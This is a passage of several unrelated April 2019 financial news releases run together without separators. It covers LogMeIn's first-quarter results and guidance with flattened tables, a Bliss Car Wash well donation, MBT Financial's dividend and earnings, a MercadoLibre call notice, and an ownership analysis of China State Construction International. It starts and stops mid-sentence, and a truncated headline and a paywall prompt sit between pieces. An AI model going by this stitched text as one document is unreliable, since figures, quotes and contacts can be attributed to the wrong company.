2019. First quarter financial highlights include: GAAP revenue was $307.7 million and non-GAAP revenue was $308.1 million GAAP net loss was $9.0 million or ($0.18) per share and non-GAAP net income was $59.9 million or $1.17 per diluted share EBITDA was $68.7 million or 22.3% of GAAP revenue and Adjusted EBITDA was $96.8 million or 31.4% of non-GAAP revenue Cash flow from operations was $119.7 million or 38.8% of non-GAAP revenue, and adjusted free cash flow was $102.7 million or 33.3% of non-GAAP revenue Total GAAP deferred revenue was $402.3 million The Company closed the quarter with cash and cash equivalents of $145.1 million and $200.0 million of borrowings under its existing credit agreement First quarter operational highlights include: Launched the new GoTo brand, a Unified Communications and Collaboration product portfolio along with GoToConnect, an all-in-one audio, video and screensharing application fully integrated with cloud-based telephony Announced GoToRoom, a new conference room solution, as well as a new hardware partnership with Poly, now part of Plantronics Completed two strategic tuck-in acquisitions to accelerate product roadmap for artificial intelligence and identity initiatives Jive named TrustRadius highest rated VoIP solution provider of 2019, as voted on by customers and VoIP users LastPass was recognized as Infosec Award Winner by Cyber Defense Magazine Established Artificial Intelligence Center of Excellence in Herzliya, Israel LogMeIn had an encouraging start to 2019 as we delivered financial results in the first quarter that exceeded our guidance for revenue, profit and earnings, said Bill Wagner, President and CEO of LogMeIn. We also made significant progress on our strategic initiatives to accelerate our growth in large and dynamic adjacent markets and had several exciting product and brand announcements. We continue to focus on executing our plan and balancing near-term priorities with our strategic initiatives. Story continues Business Outlook Based on information available as of April 25, 2019, the Company is issuing guidance for the second quarter 2019 and fiscal year 2019. Second Quarter 2019 : The Company expects second quarter GAAP and non-GAAP revenue to be in the range of $310 million to $312 million. Non-GAAP revenue adds back $0.3 million for the impact of an acquisition accounting adjustment recorded to reduce acquired deferred revenue to the fair value of the remaining obligation. EBITDA is expected to be in the range of $70 million to $71 million, or approximately 23% of GAAP revenue. Adjusted EBITDA is expected to be in the range of $94 million to $95 million, or approximately 30% of non-GAAP revenue. Non-GAAP net income is expected to be in the range of $56 million to $57 million, or $1.12 to $1.14 per diluted share. Non-GAAP net income adds back the non-GAAP revenue adjustment described above and excludes an estimated $19 million in stock-based compensation expense, $4 million in acquisition and litigation-related costs, $61 million of amortization expense of acquired intangible assets, and $1 million of restructuring charges, as well as the income tax effect of the above items. Non-GAAP net income for the second quarter assumes an effective tax rate of approximately 25% and GAAP net loss assumes a tax provision of approximately $1 million for the second quarter. Non-GAAP net income per diluted share is based on an estimated 50.4 million fully-diluted weighted average shares outstanding. GAAP net loss per share is based on an estimated 49.8 million weighted average shares outstanding. Including stock-based compensation expense, acquisition-related costs and amortization, litigation-related expense, and restructuring charges, the Company expects to report GAAP net loss in the range of $10 million to $9 million, or $0.20 to $0.18 per share. Fiscal year 2019 : The Company expects full year 2019 non-GAAP revenue to be in the range of $1.253 billion to $1.263 billion. The Company expects full year 2019 GAAP revenue to be in the range of $1.252 billion to $1.262 billion. Non-GAAP revenue adds back $1 million for the impact of an acquisition accounting adjustment recorded to reduce acquired deferred revenue to the fair value of the remaining obligation. EBITDA is expected to be in the range of $301 million to $305 million, or approximately 24% of GAAP revenue. Adjusted EBITDA is expected to be in the range of $409 million to $413 million, or approximately 33% of non-GAAP revenue. Non-GAAP net income is expected to be in the range of $249 million to $253 million, or $4.96 to $5.02 per diluted share. Non-GAAP net income adds back the non-GAAP revenue adjustment described above and excludes an estimated $76 million in stock-based compensation expense, $15 million in acquisition and litigation-related costs, $243 million of amortization expense of acquired intangible assets, and $16 million of restructuring charges, as well as the income tax effect of the above items. Non-GAAP net income for the fiscal year assumes an effective tax rate of approximately 25% and GAAP net loss for the fiscal year assumes a tax provision of approximately $1 million. Non-GAAP net income per diluted share is based on an estimated 50.3 million fully-diluted weighted average shares outstanding. GAAP net loss per share is based on an estimated 49.6 million weighted average shares outstanding. Including stock-based compensation expense, acquisition-related costs and amortization, litigation-related expense, and restructuring charges, the Company expects to report GAAP net loss in the range of $18 million to $14 million, or $0.35 to $0.27 per share. Dividend In accordance with its previously announced capital return plan, the Company will pay a $0.325 per share dividend on May 24th, 2019 to stockholders of record as of May 8th, 2019. The Company currently has approximately 49.8 million shares of common stock outstanding. Conference Call Information for Today, Thursday, April 25, 2019 The Company will host a corresponding conference call and live webcast at 5:00 p.m. Eastern Time today. To access the conference call, dial (866) 519-2796 and enter passcode 703976. A live webcast will be available on the Investor Relations section of the Companys corporate website at https://www.logmeininc.com and via replay beginning approximately two hours after the completion of the call until the Companys announcement of its financial results for the next quarter. An audio replay of the call will also be available to investors beginning at approximately 8:00 p.m. Eastern Time on April 25, 2019 until 8:00 p.m. Eastern Time on May 2, 2019, by dialing 719-457-0820 and entering passcode 6706039. Non-GAAP Financial Measures This press release contains non-GAAP financial measures including non-GAAP revenue, EBITDA, EBITDA margin, adjusted EBITDA, adjusted EBITDA margin, non-GAAP operating income, non-GAAP income before provision for income taxes, non-GAAP provision for income taxes, non-GAAP net income, non-GAAP net income per diluted share, adjusted cash flow from operations, and adjusted free cash flow. Non-GAAP revenue excludes the impact of the fair value acquisition accounting adjustment on acquired deferred revenue. EBITDA is GAAP net income (loss) excluding interest, income taxes, other (expense) income, net, and depreciation and amortization expense. EBITDA margin is calculated by dividing EBITDA by revenue. Adjusted EBITDA is EBITDA excluding the impact of the fair value acquisition accounting adjustment on acquired deferred revenue, acquisition-related costs, gain on disposition of non-core assets, stock-based compensation expense, restructuring charges, and litigation-related expense. Adjusted EBITDA margin is calculated by dividing adjusted EBITDA by non-GAAP revenue, or GAAP revenue if not different. Non-GAAP operating income excludes the impact of the fair value acquisition accounting adjustment on acquired deferred revenue, acquisition related costs and amortization, gain on disposition of non-core assets, stock-based compensation expense, restructuring charges, and litigation-related expense and includes amortization expense for acquired company internally capitalized software development costs that were adjusted in acquisition accounting. Non-GAAP provision for income taxes excludes the tax impact of the fair value acquisition accounting adjustment on acquired deferred revenue, acquisition-related costs and amortization, gain on disposition of non-core assets, stock-based compensation expense, restructuring charges, litigation-related expense, discrete integration related tax impacts, and the tax impact related to the enactment of the U.S. Tax Cuts and Jobs Act of 2017, and includes the tax impact of amortization expense for acquired company internally capitalized software development costs that were adjusted in acquisition accounting. Non-GAAP net income and non-GAAP net income per diluted share reflects the adjustments noted in non-GAAP operating income and non-GAAP provision for income taxes above. Adjusted cash flow from operations excludes acquisition retention-based bonus, litigation, restructuring, and acquisition-related payments and transaction and transition-related tax payments. Adjusted free cash flow is adjusted cash flow from operations excluding purchases of property and equipment and intangible asset additions. The exclusion of certain expenses in the calculation of non-GAAP financial measures should not be construed as an inference that these costs are unusual or infrequent. We anticipate excluding these expenses in the future presentation of our non-GAAP financial measures. The Company believes that these non-GAAP measures of financial results provide useful information to management and investors regarding certain financial and business trends relating to the Company's financial condition and results of operations. The Company's management uses these non-GAAP measures to compare the Company's performance to that of prior periods and uses these measures in financial reports prepared for management and the Company's board of directors. The Company believes that the use of these non-GAAP financial measures provides an additional tool for investors to use in evaluating ongoing operating results and trends and in comparing the Company's financial measures with other software-as-a-service companies, many of which present similar non-GAAP financial measures to investors. The Company does not consider these non-GAAP measures in isolation or as an alternative to financial measures determined in accordance with GAAP. The principal limitation of these non-GAAP financial measures is that they exclude significant elements that are required by GAAP to be recorded in the Company's financial statements. In addition, they are subject to inherent limitations as they reflect the exercise of judgment by management in determining these non-GAAP financial measures. In order to compensate for these limitations, management of the Company presents its non-GAAP financial measures in connection with its GAAP results. The Company urges investors to review the reconciliation of its non-GAAP financial measures to the comparable GAAP financial measures, which it includes in press releases announcing quarterly financial results, and not to rely on any single financial measure to evaluate the Company's business. Reconciliation tables of the most comparable GAAP financial measures to the non-GAAP measures used in this press release are included in this release. About LogMeIn, Inc. LogMeIn, Inc. (LOGM) simplifies how people connect with each other and the world around them to drive meaningful interactions, deepen relationships, and create better outcomes for individuals and businesses. A market leader in unified communications and collaboration, identity and access management, and customer engagement and support solutions, LogMeIn has millions of customers spanning virtually every country across the globe. LogMeIn is headquartered in Boston, Massachusetts with additional locations in North America, South America, Europe, Asia and Australia. Cautionary Language Concerning Forward-Looking Statements This press release contains "forward-looking statements" within the meaning of the "safe harbor" provisions of the Private Securities Litigation Reform Act of 1995, including but not limited to, statements regarding the progress made on the Companys strategic initiatives and key growth areas, and the Company's financial guidance for the second quarter of 2019 and fiscal year 2019. These forward-looking statements are made as of the date they were first issued and were based on current expectations, estimates, forecasts and projections as well as the beliefs and assumptions of management. Words such as "expect," "anticipate," "should," "believe," "hope," "target," "project," "goals," "estimate," "potential," "predict," "may," "will," "might," "could," "intend," variations of these terms or the negative of these terms and similar expressions are intended to identify these forward-looking statements. Forward-looking statements are subject to a number of risks and uncertainties, many of which involve factors or circumstances that are beyond the Company's control. The Company's actual results could differ materially from those stated or implied in forward-looking statements due to a number of factors, including but not limited to, customer adoption of the Company's solutions, the Companys ability to execute on its strategic initiatives, the Companys ability to integrate acquired products or companies, the Company's ability to attract new customers and retain existing customers, adverse economic conditions in general and adverse economic conditions specifically affecting the markets in which the Company operates, the effectiveness of the Companys cybersecurity measures, the Company's ability to continue to promote and maintain its brand in a cost-effective manner, the Company's ability to compete effectively, the Company's ability to develop and introduce new products and add-ons or enhancements to existing products, the Company's ability to manage growth, the Company's ability to attract and retain key personnel, the Company's ability to protect its intellectual property and other proprietary rights, the result of any pending litigation including intellectual property litigation, and other risks detailed in the Company's other publicly available filings with the Securities and Exchange Commission. Past performance is not necessarily indicative of future results. The forward-looking statements included in this press release represent the Company's views as of the date of this press release. The Company anticipates that subsequent events and developments will cause its views to change. The Company undertakes no intention or obligation to update or revise any forward-looking statements, whether as a result of new information, future events or otherwise. These forward-looking statements should not be relied upon as representing the Company's views as of any date subsequent to the date of this press release. LogMeIn is a registered trademark of LogMeIn, Inc. in the US and other countries around the world. Contact Information: Investors Rob Bradley LogMeIn, Inc. 781-897-1301 rbradley@LogMeIn.com Press Craig VerColen LogMeIn, Inc. 781-897-0696 Press@LogMeIn.com LogMeIn, Inc. Condensed Consolidated Balance Sheets (unaudited) (In thousands) December 31, March 31, 2018 2019 ASSETS Current assets: Cash and cash equivalents $ 148,652 $ 145,056 Accounts receivable, net 95,354 88,954 Prepaid expenses and other current assets 83,887 80,944 Total current assets 327,893 314,954 Property and equipment, net 98,238 101,445 Operating lease assets - 108,530 Restricted cash, net of current portion 1,840 1,803 Intangibles, net 1,059,988 1,014,935 Goodwill 2,400,390 2,413,172 Other assets 41,545 46,303 Deferred tax assets 6,059 6,106 Total assets $ 3,935,953 $ 4,007,248 LIABILITIES AND EQUITY Current liabilities: Accounts payable $ 35,447 $ 43,769 Current operating lease liabilities - 16,024 Accrued liabilities 119,379 145,189 Deferred revenue, current portion 369,780 393,807 Total current liabilities 524,606 598,789 Long-term debt 200,000 200,000 Deferred revenue, net of current portion 9,518 8,488 Deferred tax liabilities 201,212 192,850 Non-current operating lease liabilities - 98,293 Other long-term liabilities 25,929 13,892 Total liabilities 961,265 1,112,312 Equity: Common stock 567 569 Additional paid-in capital 3,316,603 3,322,862 Retained earnings 84,043 58,487 Accumulated other comprehensive income (loss) 2,133 (492 ) Treasury stock (428,658 ) (486,490 ) Total equity 2,974,688 2,894,936 Total liabilities and equity $ 3,935,953 $ 4,007,248 LogMeIn, Inc. Condensed Consolidated Statements of Operations (unaudited) (In thousands, except per share data) Three Months Ended March 31, 2018 2019 Revenue $ 279,217 $ 307,700 Cost of revenue 62,942 77,688 Gross profit 216,275 230,012 Operating expenses: Research and development 43,116 40,717 Sales and marketing 88,215 114,634 General and administrative 35,443 33,886 Restructuring charge - 8,474 Gain on disposition of assets (33,910 ) - Amortization of acquired intangibles 41,083 39,499 Total operating expenses 173,947 237,210 Income (loss) from operations 42,328 (7,198 ) Interest income 673 661 Interest expense (326 ) (2,143 ) Other income (expense), net (240 ) (260 ) Income (loss) before income taxes 42,435 (8,940 ) (Provision for) benefit from income taxes (12,723 ) (99 ) Net income (loss) $ 29,712 $ (9,039 ) Net income (loss) per share: Basic $ 0.57 $ (0.18 ) Diluted $ 0.56 $ (0.18 ) Weighted average shares outstanding: Basic 52,457 50,639 Diluted 53,415 50,639 LogMeIn, Inc. Calculation of Non-GAAP Revenue (unaudited) Three Months Ended March 31, 2018 2019 (in thousands) GAAP Revenue $ 279,217 $ 307,700 Add Back: Effect of acquisition accounting on fair value of acquired deferred revenue 1,058 418 Non-GAAP Revenue $ 280,275 $ 308,118 Calculation of Non-GAAP Operating Income, Non-GAAP Net Income and Non-GAAP Net Income per Diluted Share (unaudited) Three Months Ended March 31, 2018 2019 (In thousands, except per share data) GAAP Net income (loss) from operations $ 42,328 $ (7,198 ) Add Back: Effect of acquisition accounting on fair value of acquired deferred revenue 1,058 418 Stock-based compensation expense 15,966 15,031 Acquisition related costs 5,145 3,924 Restructuring charge - 8,474 Litigation related expenses 181 163 Amortization of acquired intangibles 58,968 60,469 Gain on disposition of assets (33,910 ) - Effect of acquisition accounting on internally capitalized software development costs (3,719 ) - Non-GAAP Operating income 86,017 81,281 Interest and other expense, net 107 (1,742 ) Non-GAAP Income before income taxes 86,124 79,539 Non-GAAP Provision for income taxes (1) (21,273 ) (19,686 ) Non-GAAP Net income $ 64,851 $ 59,853 Non-GAAP net income per diluted share $ 1.21 $ 1.17 Diluted weighted average shares outstanding used in computing per share amounts 53,415 50,990 (1) The three months ended March 31, 2018 Non-GAAP provision for income taxes excludes the tax impact of Non-GAAP items as well as excluding a net tax provision of $0.7 million recorded in the first quarter of 2018 related to the enactment of the U.S. Tax Cuts and Jobs Act of 2017. Calculation of EBITDA and Adjusted EBITDA (unaudited) Three Months Ended March 31, 2018 2019 (in thousands) GAAP Net income (loss) $ 29,712 $ (9,039 ) Add Back: Interest and other expense, net (107 ) 1,742 Income tax provision (benefit) 12,723 99 Amortization of acquired intangibles 58,968 60,469 Depreciation and amortization expense 12,322 15,475 EBITDA 113,618 68,746 Add Back: Effect of acquisition accounting on fair value of acquired deferred revenue 1,058 418 Stock-based compensation expense 15,966 15,031 Gain on disposition of assets (33,910 ) - Acquisition related costs 5,145 3,924 Restructuring charge - 8,474 Litigation related expenses 181 163 Adjusted EBITDA $ 102,058 $ 96,756 EBITDA Margin 40.7 % 22.3 % Adjusted EBITDA Margin 36.4 % 31.4 % Calculation of Adjusted Cash Flows from Operations and Adjusted Free Cash Flow (unaudited) Three Months Ended March 31, 2018 2019 (in thousands) GAAP Cash flows from operations $ 153,973 $ 119,650 Add Back: Litigation related payments 891 14 Acquisition retention-based bonus payments 42 1,463 Restructuring payments - 1,894 Transaction related payments (acquisitions and dispositions) 6,497 814 Adjusted cash flows from operations 161,403 123,835 Purchases of property and equipment (7,249 ) (12,187 ) Intangible asset additions (7,096 ) (8,915 ) Adjusted Free Cash Flow $ 147,058 $ 102,733 GAAP Cash flows from operations as a % of Non-GAAP Revenue 54.9 % 38.8 % Adjusted Cash flows from operations as a % of Non-GAAP Revenue 57.6 % 40.2 % Adjusted Free Cash Flow as a % of Non-GAAP Revenue 52.5 % 33.3 % Stock-Based Compensation Expense (unaudited) Three Months Ended March 31, 2018 2019 (in thousands) Cost of revenue $ 1,216 $ 980 Research and development 4,943 4,705 Sales and marketing 3,695 3,148 General and administrative 6,112 6,198 Total stock based-compensation $ 15,966 $ 15,031 LogMeIn, Inc. Calculation of Projected 2019 Non-GAAP Revenue (unaudited) (In millions) Three Months Ended Twelve Months Ended June 30, 2019 December 31, 2019 GAAP Revenue $310 - $312 $1,252 - $1,262 Add Back: Effect of acquisition accounting on fair value of acquired deferred revenue -- 1 Non-GAAP Revenue $310 - $312 $1,253 - $1,263 Calculation of Projected 2019 Non-GAAP Net Income and Non-GAAP Net Income per Diluted Share (unaudited) (In millions, except per share data) Three Months Ended Twelve Months Ended June 30, 2019 December 31, 2019 GAAP Net loss $(10) - $(9) $(18) - $(14) Add Back: Effect of acquisition accounting on fair value of acquired deferred revenue -- 1 Stock-based compensation expense 19 76 Acquisition and litigation related costs 4 15 Restructuring charges 1 16 Amortization of acquired intangibles 61 243 Income tax effect of non-GAAP items (19) (84) Non-GAAP Net income $56 - $57 $249 - $253 GAAP net loss per share $(0.20) - $(0.18) $(0.35) - $(0.27) Non-GAAP net income per diluted share $1.12 - $1.14 $4.96 - $5.02 Weighted average shares outstanding used in computing net loss per share 49.8 49.6 Diluted weighted average shares outstanding used in computing net income per diluted share 50.4 50.3 Calculation of Projected 2019 EBITDA and Adjusted EBITDA (unaudited) (In millions) Three Months Ended Twelve Months Ended June 30, 2019 December 31, 2019 GAAP Net loss $(10) - $(9) $(18) - $(14) Add Back: Interest and other (income) expense, net 2 8 Income tax provision (benefit) 1 1 Amortization of acquired intangibles 61 243 Depreciation and amortization expense 16 67 EBITDA 70 - 71 301 - 305 Add Back: Effect of acquisition accounting on fair value of acquired deferred revenue -- 1 Stock-based compensation expense 19 76 Acquisition and litigation related costs 4 15 Restructuring charges 1 16 Adjusted EBITDA $94 - $95 $409 - $413 EBITDA Margin 23% 24% Adjusted EBITDA Margin 30% 33% LogMeIn, Inc. Condensed Consolidated Statements of Cash Flows (unaudited) (In thousands) Three Months Ended March 31, 2018 2019 Cash flows from operating activities Net income (loss) $ 29,712 $ (9,039 ) Adjustments to reconcile net income (loss) to net cash provided by operating activities: Stock-based compensation 15,966 15,031 Depreciation and amortization 71,290 75,944 Gain on disposition of assets, excluding transaction costs (36,281 ) - Benefit from deferred income taxes (9,353 ) (11,651 ) Other, net 464 337 Changes in assets and liabilities, excluding effect of acquisitions and dispositions: Accounts receivable 9,820 6,024 Prepaid expenses and other current assets 4,767 2,883 Other assets (2,767 ) (6,674 ) Accounts payable 9,646 9,344 Accrued liabilities 19,812 19,350 Deferred revenue 38,685 23,820 Other long-term liabilities 2,212 (5,719 ) Net cash provided by operating activities 153,973 119,650 Cash flows from investing activities Purchases of property and equipment (7,249 ) (12,187 ) Intangible asset additions (7,096 ) (8,915 ) Acquisition of businesses, net of cash acquired - (22,463 ) Proceeds from disposition of assets 42,394 - Net cash provided by (used in) investing activities 28,049 (43,565 ) Cash flows from financing activities Proceeds from issuance of common stock upon option exercises 63 41 Payments of withholding taxes in connection with restricted stock unit vesting (9,230 ) (7,789 ) Dividends paid on common stock (15,738 ) (16,517 ) Purchase of treasury stock (46,901 ) (54,067 ) Net cash used in financing activities (71,806 ) (78,332 ) Effect of exchange rate changes on cash, cash equivalents and restricted cash 2,657 (1,385 ) Net increase (decrease) in cash, cash equivalents and restricted cash 112,873 (3,632 ) Cash, cash equivalents and restricted cash, beginning of period 254,209 150,492 Cash, cash equivalents and restricted cash, end of period $ 367,082 $ 146,860 Makes Second Donation to Wells Bring Hope LOS ANGELES, April 25, 2019 (GLOBE NEWSWIRE) -- Los Angeles based Bliss Car Wash today announced the second Orange County installation of its Bliss car wash brand, an eco-friendly chain of car washes sensitive to water usage and environmental factors. In a ribbon-cutting ceremony yesterday with local Aliso Viejo officials , CEO and Founder David Delrahim pledged his second fresh-water well to the nonprofit, Wells Bring Hope . Delrahim has promised a like donation each time he opens a new car wash. The Aliso Viejo car wash, 26871 Aliso Creek Road Aliso Viejo, 92626, is the second in a line of many car washes expected to open under the Bliss brand name in California. The brand is founded by Delrahim, a California businessman and philanthropist . Delrahim and the Bliss company are working with the Wells Bring Hope nonprofit organization because of its mission of providing safe water to rural villages in Niger, West Africa. We are happily increasing mindful water-usage practices in California with our eco-friendly car washes, said Delrahim. And Im also fortunate to donate a second fresh-water well to an important organization. David Delrahims generous pledge to donate a well each time he opens a new car wash will truly make a difference in the lives of people in West Africa, said Barbara Goldberg, Founder and President of Wells Bring Hope. The Bliss car wash model uses technology that constantly monitors fresh water usage, keeping it down to approximately 24 gallons per car wash, and using over 70 percent reclaimed water. The company also only uses cleaning products that are biodegradable and utilizes low-energy consuming machinery. Delrahim is committed to helping communities in Niger, West Africa gain economic opportunities by connecting them to clean potable water, recognizing water's crucial role in accomplishing the worlds development goals. Africa faces endemic poverty, food insecurity and pervasive underdevelopment, with almost all countries lacking the human, economic and institutional capacities to effectively develop and manage their water resources sustainably. Story continues Vahid David Delrahim is a Los Angles based businessman and philanthropist and has nearly three decades of experience in the car wash industry. About Bliss Car Wash Bliss Car Wash offers premium unlimited wash memberships at a great value. We are a refreshing car wash experience because we ensure that your car is cleaned responsibly, using cleaning products that are biodegradable and safe for the environment. We are water warriors, so we fight to protect it at every turn and closely monitor our usage. About Wells Bring Hope Wells Bring Hope is a 501(c)3 that was founded in March 2008 by Barbara Goldberg. To date, it has funded 573 wells and transformed the lives of over million people with safe water in Niger, West Africa, the poorest country in the world. Wells Bring Hope partners with World Vision (WV), one of the largest humanitarian organizations in the world for its well drilling and maintenance. Thank you for reading! Please log in, or sign up for a new account and purchase a subscription to continue reading. MONROE, Mich., April 25, 2019 (GLOBE NEWSWIRE) -- MBT Financial Corp. (MBTF), the parent company of Monroe Bank & Trust, announced that it will pay a quarterly dividend of $0.10 per common share on May 16, 2019 to shareholders of record as of May 9, 2019. This is an increase of $0.03 per share compared to the regular dividend paid in the same quarter last year. Excluding securities losses and other merger related expenses, core earnings for the first quarter of 2019 were $4,319,000, or $0.19 per share, basic and diluted. This is an increase of 11% from the net profit of $3,902,000 recorded in the first quarter of 2018 ($0.17 per share, basic and diluted). During the first quarter of 2019, we liquidated a substantial portion of our investment portfolio in anticipation of our merger with First Merchants, which resulted in a loss from the sale of these securities in the amount of $11,646,000. This is consistent with the Accumulated Other Comprehensive Loss previously reflected on our balance sheet, and did not have a negative effect on capital. The preliminary net loss was $5,141,000 ($0.22 per share) in the first quarter of 2019. The Net Interest Income for the first quarter of 2019 increased $1,082,000, or 10.3% compared to the first quarter of 2018 as the Net Interest Margin improved from 3.49% to 3.83%. The Company did not record a provision for loan losses this quarter, compared to a negative provision of $100,000 recorded in the first quarter of 2018. Excluding securities losses, non-interest income for the first quarter of 2019 was $3,759,000, a decrease of $126,000, or 3.2% compared to the first quarter of 2018 primarily due to lower service charges and other fees on deposit accounts. Non-interest expense increased $518,000, or 5.3% primarily due to the aforementioned merger related expenses. Total assets of the company decreased $3.4 million, or 0.3%, compared to December 31, 2018, to $1.333 billion. Capital increased $2.6 million during the first quarter of 2019 because the securities losses realized in the first quarter were already included in Accumulated Other Comprehensive Income (Loss). Total loans decreased $1.8 million, or 0.2% in the first quarter of 2019 while total deposits increased $239,000, or less than 0.1%. The decrease in loan balances was the result of payment activity on mortgage loans and purchased consumer loans as well as scheduled principal payments on commercial participation loans. The loan pipeline remains strong at $70 million, and the amount of unfunded loan commitments increased significantly during the first quarter, from $131 million to $142 million. Story continues H. Douglas Chaffin, President and CEO, commented, We are making good progress toward closing our previously announced merger with First Merchants Corporation headquartered in Muncie, Indiana, which is expected to take place during the first half of 2019. This merger will provide tremendous benefits to our customers, shareholders and communities, and we look forward to continuing the legacy of exceptional customer service, local responsiveness, and strong community engagement that has defined Monroe Bank and Trust for 160 years. About the Company: MBT Financial Corp. (MBTF), a bank holding company headquartered in Monroe, Michigan, is the parent company of Monroe Bank & Trust. Founded in 1858, Monroe Bank & Trust helps customers remarkable stories unfold through an uncommon, optimistic culture. As one of the largest community banks in Southeast Michigan, with over $1.3 billion in assets, this full-service bank offers a complete range of business and personal accounts, mobile and online banking, offices and ATMs across Monroe and Wayne Counties, credit and mortgage options, investment and retirement services and award-winning community outreach. The bank believes in its customers, helping them with everything from day-to-day needs to long-term goals, and is ranked fourth among all Michigan banks for total trust assets. The bank believes in its communities, supporting over 300 organizations with sponsorships and also more than 8,000 employee volunteer hours through the Monroe Bank & Trust ENLIST Volunteerism program. The bank believes in the power of knowledge, helping thousands of students and adults thrive through the Monroe Bank & Trust Financial Education program. Monroe Bank & Trust is proud to be a trusted partner to communities and clients, and an employer of choice. We are Monroe Bank & Trust, and we believe in the story of you. On October 10, 2018, the Company announced that it signed a definitive agreement to merge with First Merchants Corporation (FRME), headquartered in Muncie, Indiana. The merger is expected to close in the first half of 2019, so the Company will not be providing its typical detailed earnings announcement and investor conference call. First Merchants announced their first quarter results and hosted a conference call earlier today. For information about First Merchants and the merger, and to access a replay of their call, please see the Investor Relations link on www.firstmerchants.com . For more information about Monroe Bank & Trust, visit www.monroe.bank or contact: Doug Chaffin John Skibski President & CEO Executive Vice President & CFO (734) 384-8123 (734) 242-1879 doug.chaffin@monroe.bank john.skibski@monroe.bank MBT FINANCIAL CORP. CONSOLIDATED STATEMENTS OF INCOME - UNAUDITED Quarter Ended March 31, Dollars in thousands (except per share data) 2019 2018 Interest Income Interest and fees on loans $ 9,571 $ 8,217 Interest on investment securities- Tax-exempt 296 404 Taxable 1,174 2,210 Interest on balances due from banks 1,209 125 Total interest income 12,250 10,956 Interest Expense Interest on deposits 568 414 Interest on borrowed funds 64 6 Total interest expense 632 420 Net Interest Income 11,618 10,536 Provision For (Recovery Of) Loan Losses - (100 ) Net Interest Income After Provision For (Recovery Of) Loan Losses 11,618 10,636 Other Income Income from wealth management services 1,161 1,185 Service charges and other fees 822 946 Debit Card income 701 720 Net gain on sales of securities (11,646 ) (101 ) Net gain (loss) on other real estate owned 9 19 Origination fees on mortgage loans sold 69 62 Bank Owned Life Insurance income 338 353 Other 659 600 Total other income (7,887 ) 3,784 Other Expenses Salaries and employee benefits 6,064 5,962 Occupancy expense 729 721 Equipment expense 913 793 Marketing expense 292 377 Professional fees 843 594 EFT/ATM expense 291 259 Other real estate owned expense 22 15 FDIC deposit insurance assessment 89 107 Bonding and other insurance expense 429 132 Telephone expense 80 75 Other 558 757 Total other expenses 10,310 9,792 Profit (Loss) Before Income Taxes (6,579 ) 4,628 Income Tax Expense (Benefit) (1,438 ) 726 Net Profit (Loss) $ (5,141 ) $ 3,902 Basic Earnings (Loss) Per Common Share $ (0.22 ) $ 0.17 Diluted Earnings (Loss) Per Common Share $ (0.22 ) $ 0.17 Dividends Declared Per Common Share $ 0.10 $ 0.66 BUENOS AIRES, Argentina, April 25, 2019 (GLOBE NEWSWIRE) -- MercadoLibre, Inc. (MELI) (http://www.mercadolibre.com) intends to release financial results for its first fiscal quarter ended March 31th, 2019 on May 2nd, 2019 after the close of the day's trading. The Company will host a conference call and audio webcast on May 2nd, at 4:30 p.m. Eastern Time. The conference call may be accessed by dialing (877) 303-7209 / (970) 315-0420 (Conference ID 2466479) and requesting inclusion in the call for Mercado Libre. The live conference call can be accessed via audio webcast at the investor relations section of the Company's website, at http://investor.mercadolibre.com. An archive of the webcast will be available for one week following the conclusion of the conference call. About Mercado Libre Mercado Libre hosts the largest online commerce and payments ecosystem in Latin America. Our efforts are centered on enabling e-commerce and digital and mobile payments on behalf of its customers by delivering a suite of technology solutions across the complete value chain of commerce. The company is present in 18 countries including: Argentina, Brazil, Mexico, Colombia, Chile, Venezuela and Peru. Based on unique visitors and page views we are market leaders in each of the major countries where we are present. Through its online commerce platform and related services, Mercado Libre provides its users with robust online commerce and payments tools that not only contribute to the development of a large and growing ecommerce community in Latin America (a region with a population of over 605 million people and one of the fastest-growing Internet penetration rates in the world), but also foster entrepreneurship and social mobility. Its main focus is to deliver compelling technological and commercial solutions that address the distinctive cultural and geographic challenges of operating an online commerce and payments platform in Latin America. For more information about MercadoLibre.com, visit: http://investor.mercadolibre.com Investor Relations Contact: investor@mercadolibre.com http://investor.mercadolibre.com Media Relations Contact. valeria.bazzi@mercadolibre.com If you want to know who really controls China State Construction International Holdings Limited (HKG:3311), then you'll have to look at the makeup of its share registry. Generally speaking, as a company grows, institutions will increase their ownership. Conversely, insiders often decrease their ownership over time. Companies that used to be publicly owned tend to have lower insider ownership. With a market capitalization of HK$40b, China State Construction International Holdings is rather large. We'd expect to see institutional investors on the register. Companies of this size are usually well known to retail investors, too. In the chart below below, we can see that institutions own shares in the company. Let's delve deeper into each type of owner, to discover more about 3311. Check out our latest analysis for China State Construction International Holdings SEHK:3311 Ownership Summary, April 26th 2019 What Does The Institutional Ownership Tell Us About China State Construction International Holdings? Many institutions measure their performance against an index that approximates the local market. So they usually pay more attention to companies that are included in major indices. As you can see, institutional investors own 12% of China State Construction International Holdings. This implies the analysts working for those institutions have looked at the stock and they like it. But just like anyone else, they could be wrong. It is not uncommon to see a big share price drop if two large institutional investors try to sell out of a stock at the same time. So it is worth checking the past earnings trajectory of China State Construction International Holdings, (below). Of course, keep in mind that there are other factors to consider, too. SEHK:3311 Income Statement, April 26th 2019 We note that hedge funds don't have a meaningful investment in China State Construction International Holdings. Quite a few analysts cover the stock, so you could look into forecast growth quite easily. Insider Ownership Of China State Construction International Holdings Story continues While the precise definition of an insider can be subjective, almost everyone considers board members to be insiders. The company management answer to the board; and the latter should represent the interests of shareholders. Notably, sometimes top-level managers are on the board, themselves. I generally consider insider ownership to be a good thing. However, on some occasions it makes it more difficult for other shareholders to hold the board accountable for decisions. Our information suggests that China State Construction International Holdings Limited insiders own under 1% of the company. We do note, however, it is possible insiders have an indirect interest through a private company or other corporate structure. It's a big company, so even a small proportional interest can create alignment between the board and shareholders. In this case insiders own HK$119m worth of shares. It is good to see board members owning shares, but it might be worth checking if those insiders have been buying. General Public Ownership The general public, with a 23% stake in the company, will not easily be ignored. This size of ownership, while considerable, may not be enough to change company policy if the decision is not in sync with other large shareholders. Private Company Ownership Our data indicates that Private Companies hold 65%, of the company's shares. It might be worth looking deeper into this. If related parties, such as insiders, have an interest in one of these private companies, that should be disclosed in the annual report. Private companies may also have a strategic interest in the company. Next Steps: I find it very interesting to look at who exactly owns a company. But to truly gain insight, we need to consider other information, too. I always like to check for a history of revenue growth. You can too, by accessing this free chart of historic revenue and earnings in this detailed graph. But ultimately it is the future, not the past, that will determine how well the owners of this business will do. Therefore we think it advisable to take a look at this free report showing whether analysts are predicting a brighter future. NB: Figures in this article are calculated using data from the last twelve months, which refer to the 12-month period ending on the last date of the month the financial statement is dated. This may not be consistent with full year annual report figures. We aim to bring you long-term focused research analysis driven by 